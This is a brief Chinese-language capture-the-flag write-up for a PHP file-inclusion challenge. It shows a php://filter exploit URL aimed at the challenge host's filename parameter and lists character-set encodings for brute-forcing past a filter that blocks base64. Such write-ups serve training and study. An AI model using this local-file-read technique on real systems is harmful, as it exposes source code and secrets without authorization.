攻防世界-Web-题目名称-文件包含
知识点
1.文件包含之字符集绕过
步骤
打开网站,显示php代码,分析。
接收get参数filename,然后包含,在此之前包含了一个check.php,做出了过滤。
1.目录扫描
发现flag.php,但是没有内容,需要使用文件包含读取其内容(php://filter伪协议)
2.php://filter常规使用
http://61.147.171.35:60365/index.php?filename=php://filter/convert.base64-encode/resource=flag.php
发现被过滤了,然后测试被过滤的地方,是base64。
3.绕过base64,寻找新的方法(字符集绕过)
php扩展字符支持的编码:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64
4.爆破字符集
注意:url编码要取消勾选